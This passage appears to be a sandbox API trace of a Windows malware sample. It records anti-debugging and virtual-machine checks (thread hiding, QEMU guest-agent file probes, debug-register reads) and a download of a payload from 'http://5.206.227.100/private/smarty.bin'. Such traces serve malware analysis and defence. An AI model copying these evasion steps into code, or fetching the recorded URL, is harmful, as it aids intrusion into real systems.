Address=0xfa000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xfa000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xa1000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.994] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xfb000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xfb000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xa0000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.994] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xfc000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xfc000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0x9f000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.994] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xfd000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xfd000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0x9e000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.994] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xfe000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xfe000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0x9d000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.994] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xff000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xff000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0x9c000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.994] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x100000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x100000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0x9b000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.994] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x101000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x101000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0x9a000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.994] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x102000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x102000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0x99000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.994] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x103000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x103000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0x98000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.994] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x104000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x104000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0x97000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.994] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x105000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x105000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0x96000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.994] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x106000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x106000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0x95000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.994] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x107000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x107000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0x94000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.994] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x108000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x108000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0x93000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0215.458] LoadLibraryA (lpLibFileName="kernel32") returned 0x772d0000 [0215.458] LoadLibraryA (lpLibFileName="kernel32") returned 0x772d0000 [0215.458] LoadLibraryA (lpLibFileName="user32") returned 0x750c0000 [0215.458] EnumWindows (lpEnumFunc=0x5601ba, lParam=0x19fde0) returned 1 [0215.464] LoadLibraryA (lpLibFileName="ntdll") returned 0x77970000 [0215.464] LoadLibraryA (lpLibFileName="ntdll") returned 0x77970000 [0215.464] LoadLibraryA (lpLibFileName="ntdll") returned 0x77970000 [0215.464] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x19fdc8*=0x77971000, NumberOfBytesToProtect=0x19fdcc, NewAccessProtection=0x40, OldAccessProtection=0x19fdd0 | out: BaseAddress=0x19fdc8*=0x77971000, NumberOfBytesToProtect=0x19fdcc, OldAccessProtection=0x19fdd0*=0x20) returned 0x0 [0215.547] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x19fdc8*=0x77971000, NumberOfBytesToProtect=0x19fdcc, NewAccessProtection=0x20, OldAccessProtection=0x19fdd0 | out: BaseAddress=0x19fdc8*=0x77971000, NumberOfBytesToProtect=0x19fdcc, OldAccessProtection=0x19fdd0*=0x80) returned 0x0 [0215.740] LoadLibraryA (lpLibFileName="ntdll") returned 0x77970000 [0215.748] NtSetInformationThread (ThreadHandle=0xfffffffe, ThreadInformationClass=0x11, ThreadInformation=0x0, ThreadInformationLength=0x0) returned 0x0 [0215.748] LoadLibraryA (lpLibFileName="kernel32") returned 0x772d0000 [0215.749] CreateFileA (lpFileName="C:\\Program Files\\Qemu-ga\\qemu-ga.exe" (normalized: "c:\\program files\\qemu-ga\\qemu-ga.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.749] CreateFileA (lpFileName="C:\\Program Files\\qga\\qga.exe" (normalized: "c:\\program files\\qga\\qga.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.863] LoadLibraryA (lpLibFileName="ntdll") returned 0x77970000 [0228.871] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x19fe4c*=0x0, ZeroBits=0x0, RegionSize=0x19fe48*=0x1c200000, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0x19fe4c*=0x2180000, RegionSize=0x19fe48*=0x1c200000) returned 0x0 [0228.932] LoadLibraryA (lpLibFileName="ntdll") returned 0x77970000 [0228.932] LoadLibraryA (lpLibFileName="ntdll") returned 0x77970000 [0228.932] LoadLibraryA (lpLibFileName="ntdll") returned 0x77970000 [0228.932] LoadLibraryA (lpLibFileName="ntdll") returned 0x77970000 [0228.932] LoadLibraryA (lpLibFileName="ntdll") returned 0x77970000 [0228.932] LoadLibraryA (lpLibFileName="ntdll") returned 0x77970000 [0228.932] LoadLibraryA (lpLibFileName="ntdll") returned 0x77970000 [0228.933] LoadLibraryA (lpLibFileName="ntdll") returned 0x77970000 [0228.933] LoadLibraryA (lpLibFileName="ntdll") returned 0x77970000 [0228.933] LoadLibraryA (lpLibFileName="kernel32") returned 0x772d0000 [0228.933] LoadLibraryA (lpLibFileName="kernel32") returned 0x772d0000 [0228.933] LoadLibraryA (lpLibFileName="kernel32") returned 0x772d0000 [0228.933] LoadLibraryA (lpLibFileName="kernel32") returned 0x772d0000 [0228.934] LoadLibraryA (lpLibFileName="kernel32") returned 0x772d0000 [0228.934] LoadLibraryA (lpLibFileName="kernel32") returned 0x772d0000 [0228.934] LoadLibraryA (lpLibFileName="kernel32") returned 0x772d0000 [0228.934] LoadLibraryA (lpLibFileName="kernel32") returned 0x772d0000 [0228.934] LoadLibraryA (lpLibFileName="kernel32") returned 0x772d0000 [0228.934] LoadLibraryA (lpLibFileName="kernel32") returned 0x772d0000 [0228.935] LoadLibraryA (lpLibFileName="shell32") returned 0x75760000 [0229.014] LoadLibraryA (lpLibFileName="shell32") returned 0x75760000 [0229.014] LoadLibraryA (lpLibFileName="advapi32") returned 0x756e0000 [0229.014] LoadLibraryA (lpLibFileName="advapi32") returned 0x756e0000 [0229.022] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x19fee8*=0x401000, NumberOfBytesToProtect=0x19fee4, NewAccessProtection=0x4, OldAccessProtection=0x19fe80 | out: BaseAddress=0x19fee8*=0x401000, NumberOfBytesToProtect=0x19fee4, OldAccessProtection=0x19fe80*=0x20) returned 0x0 [0229.139] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x74010000 [0230.162] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x74010000 [0230.162] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x74010000 [0230.162] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x74010000 [0230.162] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x74010000 [0230.162] InternetOpenA (lpszAgent="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0232.519] NtGetContextThread (in: ThreadHandle=0xfffffffe, Context=0x2185004 | out: Context=0x2185004*(ContextFlags=0x10010, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0232.520] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x2, lpBuffer=0x19fee4, dwBufferLength=0x4) returned 1 [0232.521] InternetOpenUrlA (hInternet=0xcc0004, lpszUrl="http://5.206.227.100/private/smarty.bin", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x84000100, dwContext=0x0) returned 0xcc000c [0234.570] NtGetContextThread (in: ThreadHandle=0xfffffffe, Context=0x2185004 | out: Context=0x2185004*(ContextFlags=0x10010, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, 